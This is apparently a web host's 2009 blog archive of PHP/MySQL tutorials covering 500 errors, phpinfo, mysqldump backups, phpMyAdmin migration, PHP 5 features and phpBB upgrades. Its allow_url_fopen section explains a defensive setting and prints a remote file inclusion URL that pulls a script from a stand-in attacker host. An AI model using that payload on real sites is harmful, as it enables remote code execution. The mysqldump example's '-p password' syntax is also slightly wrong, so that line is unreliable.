Archive for the ‘PHP And MYSQL’ category

Solving a 500 Internal Server Error

September 18th, 2009

HTTP Error 500 – Internal server error

From the number of questions we get from new developers, it seems that one of the most dreaded errors that newcomers to PHP/Mysql and CGI face is the ambiguous “500 Internal Server Error”. It is one of the most uninformative error messages you can receive which can mean anything from an improper upload to a bug or error in the script and in most cases, incorrectly set file and directory permissons.

Information

Your Web server encountered an unexpected condition that prevented it from fulfilling the request by the client (e.g. your Web browser or our server robot) for access to the requested URL.

This is a ‘catch-all’ error generated by your Web server. Basically this means something has gone wrong, but the server can not be more specific in its response to the client.

500 errors in the HTTP cycle

Any client (e.g. your Web browser or our robot) goes through the following cycle when it communicates with your Web server:

  • Obtain an IP address from the IP name of your site (your site URL without the leading ‘http://’). This lookup (conversion of IP name to IP address) is provided by domain name servers (DNSs).
  • Open an IP socket connection to that IP address.
  • Write an HTTP data stream through that socket.
  • Receive an HTTP data stream back from your Web server in response. This data stream contains status codes whose values are determined by the HTTP protocol. Parse this data stream for status codes and other useful information.

This error occurs in the final step above when the client receives an HTTP status code that it recognises as ‘500′.

For the uninitiated, a “500 Internal Server Error” is a message much like the common “404 File Not Found” message. You get the latter message in your browser when you try to access a non-existent web page. You get the “500 Internal Server Error” message when you try to run a script with problems.

File Permissions

VERSION NEXT’s Apache servers are protected with SuExec and additional PHP hardening modules like, Suhosin and Mod_Security . As such any files which are running the insecure file permission of 777 will result in a 500 error.

No files or directories should be set with full read, write & execute permissions, commonly referred to as 777 permissions. This would pose a great security risk and will always result in a 500 server error!

For some background information on file permission settings and values and what it all means, you can visit our CHMOD/File Permissions tutorial!

HTTP 500 errors – Common Causes

Even though a 500 error is generally a ‘catch-all’ error message, the problem usually comes down to two very common mistakes:

  • A file or folder permissions issue when attempting to access a script. Again for the security of your website scripting files incorrectly setup with full 777 permissions will fail and generate this error. Generally permissions can be set at 755 but this will be dependant on the script you are trying to use. You will need to make sure you correctly set file and folder permissions for any scripts you use to ensure they run smoothly.
  • An error within a script file that has caused it to fail, or output an error message before it could finish its task and produce valid HTML. Can occur for a variety of reasons such as a script becoming corrupted, or having invalid code, even small syntax errors.

It can be tricky to track down 500 errors, but you should always start by checking that the correct file permissions are set and then further at the scripts themselves. The most obvious starting point will be the area of your site that generated the 500 error. For example, if you were using an online shopping cart script, and adding items to the cart on your site when a 500 error is generated, the first place to look might be the scripting files specific to that function. Checking the correct permissions, and further to that checking the script itself are all correct.

You can adjust file and folder permissions of your website in the following ways:-

  • Using your cPanel account and the “File Manager” – via the explorer styled menu, simply adjust the “Permissions” entry on the right of each listed file and folder.
  • Using your FTP account, and using your specific FTP clients Permissions or CHMOD controls to modify the file permissions.

PHP hosting-What is a phpinfo file?

September 18th, 2009

A phpinfo.php file is a file that makes it easier for you to see PHP information about the server you are hosted on.

While it doesn’t include version information about your database scheme, it does include version information about PHP, Apache/IIS, GD, and other things. It also contains a description of many important settings, which could possibly be causing problems with your php script installation.

Creating a phpinfo.php file is simple and easy. With a simple text editor (such as Notepad), create a new “phpinfo.php” file containing this code, and only this:

/* The simplest php script of all
and one of the most powerful! */
phpinfo();
?>

Upload this page to your server, and call it with your Internet browser. Now a page should be displayed telling you the PHP version installed on your server and many more detail information, which should answer all your questions about PHP

How to install your own Apache test server

September 18th, 2009

If you are a web developer building PHP/MySQL powered sites, the ultimate scenario is to test your applications before uploading them to the main web hosting server. A lot of developers set up test accounts on live web servers, however this means you always need to be connected to the web to test them. But there is another way using one of two ingenious applications that make setting up your own Apache/MySQL/PHP an absolute breeze.

If you are a windows based developer, Wampserver is a package that will easily install Apache/MySQL/PHP onto either Windows XP or Vista. The base configuration is pretty much an automated process so there are very little changes you need to make. However, you might want to enable SMTP so you can test email sending and maybe install a few additional PHP components like IonCube decoder.

http://www.wampserver.com/en/

If you are a Mac based developer you have access to the same easy installation of Apache/MySQL/PHP via MAMP.

http://www.mamp.info/en/index.php

Both of these installation applications are free.

Backing up databases over SSH

September 18th, 2009

Sometimes a MySQL database is simply too large to backup on a web based interface. In the event of this occurring, it is fairly easy to backup a database via SSH; all it takes is one command. This tutorial will show you how.

First of all, login to SSH either as root or elevate yourself to root status.

mysqldump -u user -p password -h host dbname > outputfile

The terms highlighted in bold need to be filled out by you. A brief overview of what they are:

  • user: The user that has access to the database you want to backup
  • password: The password of that user
  • host: Your database host; usually setting this to localhost works fine
  • dbname: The name of the database you want to backup
  • outputfile: The name of the file you want to backup the database to.

Here is an example:

mysqldump -u john -p johnpass -h localhost john_db > /home/john/backup.sql

This will backup the database john_db to /home/john/backup.sql. Keep in mind for very large files, this will take some time, so be patient. Once it is finished, you will be returned to the command line.

Exporting and Importing MySQL data with phpMyAdmin

September 18th, 2009

One question that comes up regularly is “How can I move my existing Joomla site to your servers?”. This can be achieved relatively simply in 3 steps.
1. Upload your existing Joomla site files to your hosting account.
2. Export (or dump) your existing MySQL database, then create a new database and import the data.
3. Change your Joomla configuration settings.

This tutorial will focus on the process of exporting/importing the MySQL data.

Requirements.

1. You will need to have phpMyAdmin available on both the development site and the live site.
2. A web browser, preferably Firefox or I.E. as there are reported instances that phpMyAdmin and/or the gzip compression may have issues with Safari on Mac.

Making a MySQL dump from the 1st site.

Log in to phpMyAdmin for the site you wish to export the existing MySQL data from, in this example “joom2″.
Choose the database you wish to export from the drop-down list on the left.
Select “Export” from the top menu.
Click “Select All” so that all tables in the database are exported.
Select “SQL” as the export type.
The rest of the settings can be left at default as shown below

Select “Save as file” and “gzipped” then hit “Go”

A pop-up window will open in your browser, select “Save to Disk” then click “OK”

You now have a MySQL dump of your 1st site’s Joomla database.

Importing the MySQL dump from the 1st site to the 2nd site.

Before the data can be imported, the database must be created and user privileges assigned to it

Login to your Version-next account cPanel by pointing your browser to http://yourdomain.com/cpanel where “yourdomain.com” is your real domain name. You will then be asked for a username and password (this information is supplied in your welcome email).

Now that you have logged into cPanel, click “MySQL Databases” from the list of options.

Create your new database by entering the name (in this example “joom3″) and click “Add Database”

Now we need to create a user that can be assigned to the database. Enter the username and password you wish to use then click “Add User”

Next add the new user to the database by selecting the user and the database from the drop-down lists, tick “All” privileges and click “Add User to Database”.

Now that we have created a new databse and added a user with privileges we can import the dump file from the 1st site.

From your cPanel main page click “phpMyAdmin”

Once in phpMyAdmin select the new database we just created (joom3 in this example) from the drop-down list on the left. Select “Import” from the top menu and browse for the dump file downloaded from the 1st site. Click go to start the import process.

Once the import process has been completed you will be shown a message that the import was sucessful and the number of queries executed.

Congratulations! You just completed your first successful Move/Export of Joomla’s mySql DB to a new server via phpMyAdmin.

PHP 5 Advantages

September 18th, 2009

PHP (PHP:Hypertext Preprocessor) was designed to create dynamic web pages, PHP’s principal focus is server-side scripting. While running the PHP parser with a web server and web browser, the PHP model can be compared to other server-side scripting languages such as Microsoft’s ASP.NET system, Sun Microsystems’ JavaServer Pages, mod_perl and the Ruby on Rails framework, as they all provide dynamic content to the client from a web server.

All our hosting plans include PHP 5, which improves on PHP 4 in three major areas:

  • Object-oriented programming
  • MySQL
  • XML

These items have all been completely rewritten, turning them from limitations into star attractions. While these changes alone warrant a new version of PHP, PHP 5 also provides a plethora of other new features.

1. Robust Support for Object-Oriented Programming

PHP 5 offers:

  • Constructors
  • Destructors
  • Public, protected, and private properties and methods
  • Interfaces
  • Abstract classes
  • Class type hints
  • Static properties and methods
  • Final properties and methods
  • A whole suite of magical methods

Additionally, objects are now both assigned and passed by reference instead of by value, so the necessity to liberally sprinkle ampersands throughout your code is no more.

2. A Completely Rewritten MySQL Extension

Many developers power their web sites with MySQL.

Also, the latest versions of MySQL, 4.1 and 5.0, introduce many new features, some of which require significant changes to the extension. As a result, PHP 5 comes with a completely new and improved MySQL extension. Dubbed MySQLi, for MySQL Improved. It offers:

  • Prepared statements
  • Bound input and output parameters
  • SSL connections
  • Multi-query functions

MySQLi even takes advantage of PHP 5′s new object-oriented support to provide an OO interface to MySQL. On top of that, the latest versions of MySQL now enable subselects, transactions, and replication.

3. A Suite of Interoperable XML Tools

PHP 5 fixes the major problems in PHP 4′s XML extensions. While PHP 4 allows you to manipulate XML, its XML tools are only superficially related. Each tool covers one part of the XML experience, but they weren’t designed to work together, and PHP 4 support for the more advanced XML features is often patchy.

Not so in PHP 5.

The new XML extensions:

  • Work together as a unified whole.
  • Are standardized on a single XML library: libxml2.
  • Fully comply with W3 specifications.
  • Efficiently process data.
  • Provide you with the right XML tool for your job.

Additionally, following the PHP tenet that creating web applications should be easy, there’s a new XML extension that makes it simple to read and alter XML documents. The aptly named SimpleXML extension allows you to interact with the information in an XML document as though these pieces of information are arrays and objects, iterating through them with for-each loops, and editing them in place merely by assigning new values to variables.

If you know the document’s format ahead of time, such as when you’re parsing RSS files, REST results, and configuration data, SimpleXML is the way to go.

And if you’re a DOM fan, you’ll be pleasantly surprised with PHP 5′s DOM extension, which is light-years beyond what you’re using in PHP 4.

4. Cleaner Error Handling with Exceptions

PHP 5 offers a completely different model of error checking than what’s available in PHP 4. It’s called exception handling. With exceptions, you’re freed from the necessity of checking the return value of every function. Instead, you can separate programming logic from error handling and place them in adjoining blocks of code.

Exceptions are commonly found in object-oriented languages such as Java and C++. When used judiciously, they streamline code, but when used willy-nilly, they create spaghetti code.

Right now, only a few PHP extensions use exceptions, but they’re slowly being phased in. However, they’re available today for any PHP code you write.

5. A First-Class SOAP Implementation

SOAP is a key component of the fast-growing web services field. This extension lets developers create SOAP clients with or without a Web Services Description Language (WSDL) file, and also implement SOAP servers in PHP.

PHP 4′s SOAP support is only fair. While there are a few SOAP packages, the most mature ones are written in PHP instead of C. Therefore, they are slow, and you have to download and install them yourself.

With PHP 5, there’s finally a usable SOAP extension written in C. Currently, this extension implements most, but not all, of SOAP 1.2. This is a significant improvement over previous C extension, and future pieces will be added in time.

Security issues – allow_url_fopen

September 18th, 2009

The PHP option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. For security reasons, VERSION NEXT has disabled this feature; however, a feature-rich alternative exists in the form of the bundled cURL library

Server-Side Includes

Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:

<?php include(“http://example.com/includes/example_include.php”); ?>

With allow_url_fopen disabled, this method will not work. Instead, the file must be included with a local path, and there are three methods of doing this:

  1. By using a relative path, such as ../includes/example_include.php.
  2. By using an absolute path (also known as relative-from-root), such as /home/username/example.com/includes/example_include.php.
  3. By using the PHP environment variable $_SERVER['DOCUMENT_ROOT'], which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The example that follows shows the environment variable in action:

Processing Differences (and passing variables to an included file)

It is worth mentioning that the alternative solutions presented here will result in a difference in the way the include() function is handled. The alternative solutions all return the PHP code from the included page; however, the now-unavailable remote URL method returns the result from the included page. One result of this behavior is that you cannot pass a querystring using the alternative solutions. You define the variables locally before performing the include:

Example

To achieve the effect of this:

<?php include("http://yourdomain.com/includes/example_include.php?var=example"); ?>

You must instead use this:

<?php
$var = "example";
include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php");
?>

Example exploitation

If allow_url_fopen is enabled, this system can be exploited by simply changing the value of the variable in the querystring:

http://yourdomain.com/index.php?page=http://crackerscum.net/evilscript.txt

How to upgrade the embedded phpBB forum within phpNuke

September 18th, 2009

If you’ve recently installed phpNuke with Fantistico (it’s at the bottom of your Control Panel – if you haven’t seen it – go look), you may have noticed that the phpBB version is about 5 releases out of date.
The most recent version of phpBB is 2.0.21, but the version within the phpNuke 7.8 Release is 2.0.15. However, before you run out and download the standalone updates/patches for phpBB, please keep reading.

This is a special version of phpBB that is designed to run inside and with phpNuke, so DO NOT simply patch phpBB with the “official version” from phpbb.com. This WILL break some of the functionality of the embedded version. Your gonna have to do a little bit of work, but it’ll be worth it. You will be required to download some files, unzip them, upload to your webspace, and then run 4 URLs from your browser.  Please note that this is a file-by-file update – and you cannot patch all in one fell swoop. It still will probably only take 10 minutes – and you’ll have a much more secure version of phpBB.
Here are the steps:
Download the individual files ( see at the bottom) :
BBtoNuke 2.0.16
BBtoNuke 2.0.17
BBtoNuke 2.0.18
BBtoNuke 2.0.19
BBtoNuke 2.0.20
BBtoNuke 2.0.21
Save these files to your local PC. Unzip them one at a time (I’d do each one in a seperate temporary directory), fire up your FTP program and upload the files to the root directory on your VERSION NEXT hosting account (assuming that you have installed phpNuke to the root directory).
Make sure to keep the directory structures intact. Now, from your browser, run the various updater files. The URLs will look like this…
http://yourDOMAIN-phpnukeinstall.com/update15-16.php

http://yourDOMAIN-phpnukeinstall.com/update16-17.php

http://yourDOMAIN-phpnukeinstall.com/update17-18.php

http://yourDOMAIN-phpnukeinstall.com/update18-19.php

http://yourDOMAIN-phpnukeinstall.com/update19-20.php

http://yourDOMAIN-phpnukeinstall.com/update20-21.php

Note that you’ll have to update in the order as show above and it’s an incremental, file-by-file update.
So you’ll be updating to verion 2.0.16, then 2.0.17, then 2.0.18, then 2.0.19, the 2.0.20 and 2.0.21 (if you choose).
Now, you have the latest version of phpBB running with your PHP-Nuke install and you haven’t broken anything!

Dont forget to delete the update php files after you are finished (update16-17.php – update20-21.php)

Below you can find the individual files to download

BBtoNuke 2.0.16
Description: Fixed critical issue with highlighting
Url descriptions able to be wrapped over more than one line again
Fixed bug with eAccelerator in admin_ug_auth.php
Check new_forum_id for existence in modcp.php
Prevent uploading avatars with no dimensions
Fixed bug in usercp_register.php, forcing avatar file removal without updating avatar informations within the database
Fixed bug in admin re-authentication redirect for servers not having index.php as one of their default files set
Version: 2.0.16 Filesize: 46.86 Kb

BBtoNuke 2.0.17
Description: The changelog (contained within this release) is as follows:
• Added extra checks to the deletion code in privmsg.php
• Fixed XSS issue in IE using the url BBCode
• Fixed admin activation so that you must have administrator rights to activate accounts in this mode – reported by ieure
• Fixed get_username returning wrong row for usernames beginning with numerics
• Pass username through phpbb_clean_username within validate_username function -
• Fixed PHP error in message_die function
• Fixed incorrect generation of {postrow.SEARCH_IMG} tag in viewtopic.php
• Also fixed above issue in usercp_viewprofile.php
• Fixed incorrect setting of user_level on pending members if a group is granted moderator rights
• Fixed ordering of forums on admin_ug_auth.php to be consistant with other pages
• Correctly set username on posts when deleting a user from the admin panel

Version: 2.0.17 Filesize: 72.71 Kb

BBtoNuke 2.0.18
Description: BBtoNuke 2.0.18 for core PHP-Nuke
• [Fix] incorrect handling of password resets if admin activation is enabled (Bug #88)
• [Fix] retrieving category rows in index.php (Bug #90)
• [Fix] improved index performance by determining the permissions before iterating through all forums (Bug #91)
• [Fix] wrong topic redirection after login redirect (Bug #94)
• [Fix] improved handling of username lists in admin_ug_auth.php (Bug #98)
• [Fix] incorrect removal of bbcode_uid values if bbcode has been turned off (Bug #100)
• [Fix] correctly preview signature if editing other users posts (Bug #101)
• [Fix] incorrect alt tag on generated search images in groupcp.php, viewtopic.php and usercp_viewprofile.php (Bug #102)
• [Fix] consistent forum ordering in all dropdown boxes (Bug #106)
• [Fix] correctly get compression status in page_tail.php and page_footer_admin.php (Bug #117)
• [Fix] set page title on summary page of groupcp.php (bug #125)
• [Fix] correctly test style and avatar in usercp_register.php (bug #129 and #317)
• [Fix] handling of reactivation notifications if admin activation is enabled (Bug #145)
• [Fix] handling of both forms of translation information used in language packs (Bug #159)
• [Fix] key length for activation keys fixed in usercp_sendpassword.php (Bug #171)
• [Fix] use GENERAL_MESSAGE constant in message_die instead of MESSAGE (Bug #176)
• [Fix] incorrect handling of move stubs (Bug #179)
• [Fix] wrong mode_type in memberlist (Bug #187)
• [Fix] SQL errors when setting maximum PMs to 0 (Bug #188)
• [Fix] removed unused variable from topic_notify email template (Bug #210)
• [Fix] removed unset variable from smilies popup window title (Bug #224)
• [Fix] removed duplicate template assignment from admin_board.php (Bug #226)
• [Fix] incorrect search link for guest posts in modcp.php (Bug #254)
• [Fix] all users removed from topics watch table on special occassions (Bug #271)
• [Fix] correctly check returned value from strpos in append_sid function (Bug #275)
• [Fix] correctly display username in private message notification (Bug #278)
• [Fix] fixed “var-by-ref” errors (Bug #322)
• [Fix] changed redirection to installation (Bug #325)
• [Fix] added timout of 10 seconds to version check (Bug #348)
• [Fix] fixed user_level default in postgresql schema file (Bug #444)
• [Fix] multiple minor HTML issues with subSilver
• [Change] deprecated the use of some PHP 3 compatability functions in favour of the native equivalents
• [Change] added 60 days limit for grabbing unread topics in index.php
• [Sec] backport of session keys system from olympus
• [Sec] fixed email bans to use the same pattern as email validation and allow wildcard domain bans
• [Sec] fixed validation of topic type when posting
• [Sec] unset database password once it is no longer needed
• [Sec] fixed potential to select images outside the specified path as avatars or smilies
• [Sec] fix globals de-registration code for PHP5
• [Sec] changed avatar gallery code sections to prevent possible injection points
• [Sec] signature field is not properly sanitised for user input when an error occurs while accessing the avatar gallery
• [Sec] check to_username and ownership when editing a PM
• [Sec] fixed ability to edit PM’s you did not send
• [Sec] compare imagetype on avatar uploading to match the file extension from uploaded file

Version: 2.0.18 Filesize: 269.39 Kb
BBtoNuke 2.0.19
The changelog (contained within this release) is as follows:

[Fix] corrected index on session keys table under MS SQL
[Fix] added session keys table to backup
[Fix] delete session keys entries when deleting user
[Fix] changes to support MySQL 5.0
[Fix] changes to some of the admin files to improve efficiency and remove a potential error condition when building the menu
[Fix] change truncation of username length in usercp_register.php
[Fix] incorrect path to avatars in admin_users.php (Bug #667)
[Fix] fixed get_userdata to support correct sql escaping (non-mysql dbs)
[Fix] fixed captcha for those not having the zlib extension enabled
[Change] Placed version information above who is online in admin panel for better visual presence
[Sec] fixed XSS issue (only valid for Internet Explorer) within the url bbcode
[Sec] fixed XSS issue (only valid for Internet Explorer) if html tags are allowed and enabled
[Sec] added configurable maximum login attempts to prevent dictionary attacks
Version: 2.0.19 Filesize: 148.23 Kb
BBtoNuke 2.0.20
Description: What has changed in this release?

The changelog (contained within this release) is as follows:

* Prevent login attempts from incrementing for inactive users
* Do not check maximum login attempts on re-authentication to the admin panel
* Regenerate session keys on password change
* retrieving category rows in index.php (Bug #90)
* improved index performance by determining the permissions before iterating through all forums (Bug #91)
* Better handling of short usernames within the search (bug
#105)
* Send a no-cache header on admin pages as well as normal board pages (Bug #149)
* Apply word censors to the message when quoting it (Bug #405)

* Improved performance of query in admin_groups (Bug #753)
* Workaround for an issue in either PHP or MSSQL resulting in a space being returned instead of an empty string
* Correct use of default_style config value (Bug #861)
* Replace unneeded unset calls in admin_db_utilities.php
* Improved error handling in modcp.php
* Improved handling of forums to which the user does not have any explicit permissions
* Assorted fixes and cleanup of admin_ranks.php, now requires confirmation of deletions
* Assorted fixes and cleanup of admin_words.php, now requires confirmation of deletions
* Addition and editing of smilies can no longer be performed via GET, now requires confirmation of deletions
* Escape group names in admin_groups.php
* Replace strip_tags with htmlspecialchars in private message subject
* Some changes to HTML handling if enabled
* Escape any special characters in reverse dns
* Typecast poll id values
* Added configurable search flood control to reduce the effect of DoS style attacks
* Changed the way we create “random” values for use as keys -
* Enabled Visual Confirmation by default
* Changed handling of the case where a selected style doesn’t exist in the database
* Changed handling of topic pruning to improve performance
* Changed default forum permissions to only allow registered users to post in new forums
Version: 2.0.20 Filesize: 195.60 Kb
BBtoNuke 2.0.21
Description: The changelog (contained within this release) is as follows:

[Fix] Changes to random number generator code to explicitly truncate the length of the string
[Fix] Quoting on boards with HTML enabled
[Fix] Special characters on boards with HTML enabled
[Fix] Redirect to list if cancelling deletion of ranks, smilies or word censors
[Fix] Missing error message if an inactive user tried to login
[Fix] Do not alter post counts when just removing a poll
[Fix] Correct error in removal of old session keys
[Fix] Changed filtering of short search terms
[Sec] Improved filtering on language selection (also addresses a number of bug reports related to missing languages)
[Change] Backported more efficient highlighting code from Olympus
[Change] Backported zlib emulation code so that there is only a single confirmation image even if zlib is not available
Version: 2.0.21 NP Filesize: 116.83 Kb

PHP Freelancer